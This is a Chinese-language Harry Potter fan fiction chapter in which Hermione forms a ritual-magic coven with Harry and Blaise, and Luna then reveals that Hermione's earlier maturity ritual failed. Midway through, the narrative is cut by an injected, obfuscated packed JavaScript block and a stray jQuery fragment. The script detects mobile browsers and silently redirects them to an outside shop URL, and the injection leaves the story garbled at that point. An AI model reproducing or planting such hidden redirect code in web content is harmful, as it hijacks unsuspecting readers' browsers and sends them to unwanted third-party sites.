他们在格兰芬多公共休息室找到了哈利。布雷斯饶有兴致地看着赫敏走到胖夫人画像前，问哈利是不是在里面，然后面不改色地报出暗号“wattlebird”。
“你真的能随意进入大家的公共休息室啊？”布雷斯赞叹道，“我知道你去过拉文克劳。”
“赫奇帕奇还没去过，”赫敏告诉他，“我还没有找到机会去。”
哈利正在浏览一张魁地奇战术草图，发现赫敏和布雷斯走近时，他瞪大了眼睛。
“赫敏？”他惊讶地问，“扎比尼？”
“哈利，”赫敏微笑着对他说，“我们能和你单独谈谈吗？在外面？”
哈利环顾四周，意识到他们正引来不少怀疑的目光。赫敏猜想，格兰芬多们得知一个斯莱特林竟然能知道胖夫人的口令，肯定不太高兴，虽然韦斯莱双子看起来觉得这很有趣。
“好，”哈利说着，把书推到一边，“当然。去哪儿？”
赫敏带着他们来到六楼的一条空走廊，走廊里摆放着一些被人遗忘的家具。
“哈利，你知道女巫团吗？”她开口问道。哈利眨了眨眼，皱起脸陷入沉思。
“你是说麻瓜对一群女巫的称呼吗？”他猜测道，“Bubble, bubble, toil and trouble？”
“什么？ ”布雷斯困惑地问。
“没错，”赫敏说，没理会布雷斯——现在不是讨论《麦克白》的时候，“不过，这在魔法世界里也是真实存在的。女巫团就是一群女巫和男巫一起施展仪式魔法的团体。”
“仪式魔法？”哈利问，“不是魔药和念咒吗？”
“是仪式，”赫敏微笑着说，“这里没有怪异姐妹。”
“怪异姐妹？”布雷斯彻底糊涂了，“那是个摇滚乐队，不是女巫团。”
赫敏翻了个白眼，继续无视他。
“我想组建一个女巫团，”她对哈利说，“布雷斯已经加入了。我希望能邀请你。”
“这是为了……施展仪式魔法？”哈利问，他皱眉，“为什么课上不教这个？”
“仪式魔法是一门被遗忘的艺术，波特，”布雷斯告诉他，“自从发明了魔杖，就不再需要仪式来控制魔法。”
“那为什么……？”
“因为咒语不是万能的，”赫敏告诉他，“而仪式可以运用魔法去实现你的意志。理论上，对于任何事情你都可以设计出一个仪式来实现。”
哈利的眼睛睁大了：“任何事情……？ ”
“嗯，当然，要在合理范围内，”赫敏补充道，“比如说，像改变历史或毁灭世界大概就不行——”
“只要女巫团足够大也不是不可能。”布雷斯低声说。
“——但大多数事情，当然可以，”赫敏笑了笑，“这将是一个探索魔法世界所能带给我们的一切的方式，而且我们可以一起探索。”
哈利看起来很不安。
“你为什么问我？”他问，“为什么不让纳威和罗恩也来？”
布雷斯哼了一声，低声嘟囔了一些对韦斯莱不客气的话，赫敏顿了顿，斟酌该如何措辞。
“罗恩和我经常合不来，而且他对斯莱特林有意见，”她对哈利说，“他肯定不会想加入一个我领导的团体。”
“这倒也是，”哈利承认道，“但纳威呢？”
赫敏抿了抿嘴唇。
“仪式魔法很古老，”赫敏告诉他，“代代相传下来，现在已经没什么人在用了。”
“所以？”
“魔法部普遍把它视为黑魔法，”布雷斯插话道，目光与波特对上，“尽管它并不是。”
“黑魔法？”哈利猛地后退一步，“我不用黑魔法。”
“没说要用黑魔法，”赫敏反驳，“我只是邀请你加入我的女巫团。”
“是啊，但如果这个女巫团是施展——”
“他们把它归类为黑魔法，是因为你可以用它做任何事，”赫敏打断道，“把特定的咒语归类为‘黑魔法’很容易，因为一个咒语只会产生一种特定效果。但对于仪式魔法来说，同样的效果可以由十几种不同方法得到，所以魔法部干脆把整个类别都称为‘黑魔法’，然后让它自然消亡，这样更省事。”
哈利看着她，绿色的眼睛锐利。
“所以不是吗？”他问她，“它不黑暗吗？”
“仪式魔法本身并不一定是黑暗的，”赫敏耐心地解释，“就像使用魔杖也不代表黑暗一样。我承认有些仪式是黑魔法，但有些咒语也是，哈利，我们不会因为有那样的咒语就不用魔杖，我们也不会做那些黑暗的仪式魔法。”
哈利看起来还是有些犹豫。
“很多仪式都需要流血，”赫敏坦诚地告诉他，“这也是魔法部不欢迎仪式魔法的很大原因——血魔法往往带有负面含义。但是哈利——你母亲就是用血魔法救了你的命，正是血魔法让你待在德思礼家确保安全。今年夏天，我和我父母一起用血魔法仪式保护我家，这样即使我不在家，也会很安全。”
哈利对此感到很惊讶。
“和你父母一起？”他重复道，“真的吗？”
赫敏点点头：“他们的血在仪式中一起用到，现在房子更安全了。”
布雷斯站在她身后保持沉默，眼睛闪烁着光芒。哈利若有所思。
“所以你觉得纳威会因为魔法部说仪式魔法是黑魔法就完全拒绝，”哈利总结道，“但你觉得我不会？”
“我知道你不会的，哈利，”赫敏对他说，“你太聪明了，不会相信‘只有好’或‘只有坏’这种非此即彼的错误二元论。你和我一样来自麻瓜世界——你知道魔法只是一种工具，和任何工具一样，它的作用取决于如何使用。”
“而且，退一万步说，仪式魔法是救了你的命的东西，”布雷斯补充道，“你会想多了解它，对吧？”
赫敏屏住呼吸，等哈利考虑。哈利是个好朋友，忠诚可靠，而且也是一位优秀的巫师，她希望他能加入她的女巫团。这也会让他们的友谊更加坚固，虽然邓布利多貌似对这位“特殊”的哈利·波特有斯莱特林朋友有些想法……
“……好吧，”哈利终于开口说道，“我很好奇，也很有兴趣。算我一个。”他的眼睛闪闪发光，“你觉得我们可以做个仪式，让我骑扫帚飞得更快吗？”
布雷斯笑了。
“你没救的，波特，”他对他说，“你不可能骑着光轮2000跑赢光轮2001。”
哈利朝布雷斯吐了吐舌头，赫敏笑了。
“我们或许可以设计一个仪式来加快你的反应速度，”赫敏告诉他，“但这在我看来太像作弊了。”
哈利夸张地长叹了口气。
“加入一个可疑的仪式团体有什么意义呢？”他问，“如果你连用它来帮忙抓金色飞贼都做不到的话？”
赫敏咯咯地笑了起来，布雷斯也在一旁窃笑，哈利冲他们俩咧了咧嘴。
……
“所以我没问题了？”布雷斯又问了一遍，“我可不想烧毁魔力核心。”
赫敏和哈利站在庭院里一起等着答案。卢娜仔细观察着布雷斯的气场，点了点头，又上下打量了他一番。
“你的气场正在快速波动增长，”她确认道，“你已经到了核心能够产生更多魔法的成熟点。你没问题。”
“我是已经到了吗？”哈利想知道。
“是的，”卢娜点点头，“所以你们两个没问题。但我们其他人还不行。得等到年底才能正式结社。”
“没关系，”赫敏不以为意地说，“我们等你，卢娜。这段时间我们可以先探索其他事情。而且，还有一名成员需要招募。”
“你有什么想法吗？”布雷斯问。
“有几个，”赫敏承认道，“但对于我想邀请的那个人，我得把握好时机……”
卢娜的眼睛闪闪发亮。
“是等等我们，赫敏，”她嗔怪道，声音带着揶揄，“你的魔法也还没准备好呢。”
赫敏的大脑瞬间停止了运转。
“…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962700|202970||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…什么？”
卢娜眨了眨眼睛，满脸无辜地望着她。
“这很正常，赫敏，”她对她说，“每个女巫或男巫到达成熟点的时间都不同——”
“可是我到了，”赫敏强烈反对道，“我到了。去年春天！”
“我原以为这个魔法点是神秘莫测无法感知的。”哈利低声对布雷斯说，布雷斯耸了耸肩，继续看着。
卢娜歪头看着赫敏。
“你真的到了吗？”她问道，语调仿佛带着旋律，“还是只是你以为自己到了？”
“我到了！ ”赫敏跺了跺脚，“我到了，我确认过！当时超级疼，我得到了想要的结果，而且之后我的魔法就开始增强了！”
“你‘确认’过？”卢娜问。
“是的，”赫敏点点头说，“我就是这个意思。所以根本不可能——”
“你的身体准备好了吗？”卢娜打断了她的话。
赫敏停顿了一下。
“……定义什么叫‘准备好’。”
卢娜看起来觉得很有趣：“我想你知道我的意思。”
赫敏犹豫了。
“呃，好吧，没有，它没有准备好，但这正是关键所在，就是为了让我的身体在最佳时机做好准备——”
“那在那之后，你的身体‘准备好了’吗？”卢娜追问。
“嗯，没有——”
“那么，”卢娜说，“你怎么能认为自己准备好了呢？”
赫敏停住了。
卢娜说的很有道理。
仔细想想，很快就能想通——魔法当然与她的身体息息相关，如果魔法力量需要她经历月经周期才能大幅提升，那她的计划当然行不通——除非她从那之后每个月都进行那可怕的排卵仪式，但她并没有——她都差点后悔做过一次了。
如果她没能让自己的魔法力量呈幂指数增长……
“但是我到了，”赫敏虚弱地说，她靠在城堡的墙，滑坐到地上，“我到了。它起作用了。”
“你试图欺骗自然，赫敏，”卢娜说，她弯下腰看着她，水蓝色的眼睛温和，“你骗不了它的。”
赫敏沉默了，咀嚼着这件事意味着什么。
如果她的魔法力量没有呈幂指数增长，那么……这么久以来，她的魔法力量仍然一直都是线性增长……
那么多潜力，就这么没了……
赫敏默默地哭了起来。
卢娜对她露出一个悲伤的微笑，然后将她搂在怀里紧紧地拥抱着她，无声的泪水顺着赫敏的脸颊滑落。
哈利瞪大了眼睛，看看赫敏和卢娜，又看看布雷斯，面色惊慌。布雷斯朝他点了点头，两个男生默默离开，留下赫敏在卢娜安慰的怀抱里低声哭泣。
“会没事的。”卢娜轻声说。
赫敏抽噎了好一会儿，卢娜在旁边给她拥抱和安慰。眼泪终于渐渐干涸，赫敏抹了抹脸上的泪痕。
“我只是……我想成为最好的。”赫敏揉了揉眼睛，打了个哭嗝，“而现在……那么多力量……那么多潜力…… ”
“赫敏，”卢娜低声打断道，她轻轻抬起赫敏的下巴，让她看着自己的眼睛，然后对她露出一个微笑，“你真的认为这意味着你不能再成为最好的了吗？”
赫敏抽了抽鼻子：“……不。”
“那就去成为最好的吧。”卢娜说道，仿佛事情就这么简单。
赫敏沉思良久，才站起身来。她向卢娜伸出手，拉她站起来。
“好吧，”她叹了口气说，“我会的。”
卢娜拍手：“好！”她笑容灿烂地说，“现在你可以把这整个失败的仪式抛之脑后，继续前进了——”
“啊……等等，其实我还不能完全放下。”赫敏承认道。
卢娜歪了歪头：“但如果你想的话，你要先放下——”
“我会的，但不是现在。”
“为什么？”卢娜想知道。
赫敏仰头望天。
“我得先弄清楚我到底对自己做了什么。”